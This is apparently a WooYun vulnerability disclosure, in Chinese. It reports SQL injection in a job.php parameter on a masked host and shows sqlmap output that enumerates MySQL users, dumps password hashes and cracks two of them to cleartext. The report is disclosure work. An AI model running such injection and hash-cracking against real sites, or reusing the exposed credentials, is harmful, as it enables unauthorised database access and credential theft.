WooYun.org

http://**.**.**.**/job.php?id=1015
出现sql注入。直接用sqlmap跑
可以得到
数据库名称 yongqiang
数据库用户
[16:28:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.4
back-end DBMS: MySQL 5
[16:28:17] [INFO] fetching database users
[16:28:17] [INFO] fetching number of database users
[16:28:17] [INFO] retrieved: 3
[16:28:20] [INFO] retrieved: 'root'@'localhost'
[16:29:18] [INFO] retrieved: 'root2'@'%'
[16:30:13] [INFO] retrieved: 'mail'@'%'
database management system users [3]:
[*] 'mail'@'%'
[*] 'root'@'localhost'
[*] 'root2'@'%'
[16:33:41] [INFO] fetching number of password hashes
for user 'root'
[16:33:41] [INFO] retrieved: 1
[16:33:44] [INFO] fetching password hashes for user
'root'
[16:33:44] [INFO] retrieved:
[16:33:46] [INFO] fetching number of password hashes
for user 'root2'
[16:33:46] [INFO] retrieved: 1
[16:33:49] [INFO] fetching password hashes for user
'root2'
[16:33:49] [INFO] retrieved:
*0D64DFFBB5BEE5AC53778B215585FA9A4996C6EA
[16:35:52] [INFO] fetching number of password hashes
for user 'mail'
[16:35:52] [INFO] retrieved: 1
[16:35:55] [INFO] fetching password hashes for user
'mail'
[16:35:55] [INFO] retrieved:
*4F05800E96173A731D4A5D3114A3A2B83C18C096
do you want to use dictionary attack on retrieved
password hashes? [Y/n/q] y
[16:53:17] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [D:\sqlmap\sqlmap
\txt\wordlist.txt]
[16:53:23] [INFO] loading dictionary from: 'D:\sqlmap
\sqlmap\txt\wordlist.txt'
do you want to use common password suffixes? (slow!)
[y/N] y
[16:53:28] [INFO] starting dictionary attack
(mysql_passwd)
[16:53:29] [INFO] found: 'mail' for user: 'mail'
[16:53:29] [INFO] found: 'root2' for user: 'root2'
database management system users password hashes:
[*] mail [1]:
password hash:
*4F05800E96173A731D4A5D3114A3A2B83C18C096
clear-text password: mail
[*] root [1]:
password hash: NULL
[*] root2 [1]:
password hash:
*0D64DFFBB5BEE5AC53778B215585FA9A4996C6EA
clear-text password: root2
列表名太多了，只跑了部分